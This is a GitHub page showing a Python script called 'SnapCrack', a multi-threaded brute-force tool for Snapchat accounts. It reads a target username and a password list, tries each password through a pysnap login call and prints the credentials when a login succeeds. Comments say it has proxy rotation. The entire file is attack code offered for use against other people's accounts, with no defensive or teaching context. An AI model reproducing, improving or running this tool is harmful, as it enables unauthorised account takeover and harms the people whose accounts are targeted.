-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathsnapcrack.py
99 lines (76 loc) · 4.18 KB
/
snapcrack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
from pysnap import *
import sys
import os
import threading
# Anxiety Notes
#
# TODO Save Password Variable - Start New Thread at Location
# COMPLETE Proxy Rotation | Multi-Threading
try:
targetusername = sys.argv[1]
except:
print(" [ ! | SYNTAX ERROR ] $ python3 snapcrack.py < username > < /path/to/passlist.txt > < # Threads > ")
try:
targetpasslist = sys.argv[2]
except:
print(" [ ! | SYNTAX ERROR ] $ python3 snapcrack.py < username > < /path/to/passlist.txt > < # Threads > ")
try:
tNumber = int(sys.argv[3])
except:
print(" [ ! | SYNTAX ERROR ] $ python3 snapcrack.py < username > < /path/to/passlist.txt > < # Threads > ")
os.system("clear")
print(" ██████ ███▄ █ ▄▄▄ ██▓███ ▄████▄ ██▀███ ▄▄▄ ▄████▄ ██ ▄█▀ ")
print("▒██ ▒ ██ ▀█ █ ▒████▄ ▓██░ ██▒▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ")
print("░ ▓██▄ ▓██ ▀█ ██▒▒██ ▀█▄ ▓██░ ██▓▒▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ")
print(" ▒ ██▒▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ")
print("▒██████▒▒▒██░ ▓██░ ▓█ ▓██▒▒██▒ ░ ░▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄ ")
print("▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒ ")
print("░ ░▒ ░ ░░ ░░ ░ ▒░ ▒ ▒▒ ░░▒ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ")
print("░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ")
print("██████████████████████████████████████████████████████████████████████████████████████")
print("█ SNAPCHAT CRACKER BY A HOT TRANS GIRL █")
print("██████████████████████████████████████████████████████████████████████████████████████")
print(f"[░]Now attempting to crack: {targetusername}")
# Calling class 'Snapchat' from pysnap.__init__
proxy = ''
s = Snapchat(proxy)
def main(counter):
passwords = open(targetpasslist,"r")
for targetpassword in passwords:
# if s.login(targetusername, targetpassword)[b'updates_response'].get('logged'):
can_login = s.login(targetusername, targetpassword)
is_logged = can_login.find(b'logged')
if is_logged > 0:
# break
print("[ ✓ | SUCCESS ] USERNAME: " + targetusername + "\t PASSWORD: " + targetpassword)
break
else:
print(f"[ 𐄂 | FAIL ] {targetpassword} INVALID!")
if __name__ == '__main__':
# main()
# Multi-Threading
class Thread(threading.Thread):
def __init__(self, counter):
threading.Thread.__init__(self)
self.counter = counter
def run(self):
# Get lock to synchronize threads
threadLock.acquire()
main(counter)
# Free lock to release next thread
threadLock.release()
threadLock = threading.Lock()
threads = []
counter = 0
while counter < tNumber:
thread = Thread(counter)
thread.start()
threads.append(thread)
counter += 1
for t in threads:
t.join()
# Login | Found
print(" [ ✓ | PASSWORD FOUND ] Thank you for being a user of SnapCrack!\n\n" +
" [ ! | TAKE NOTE OF THE SUCCESSFUL ATTEMPT ] NO CURRENT LOGGING TO FILE !" +
" Press any key to exit!")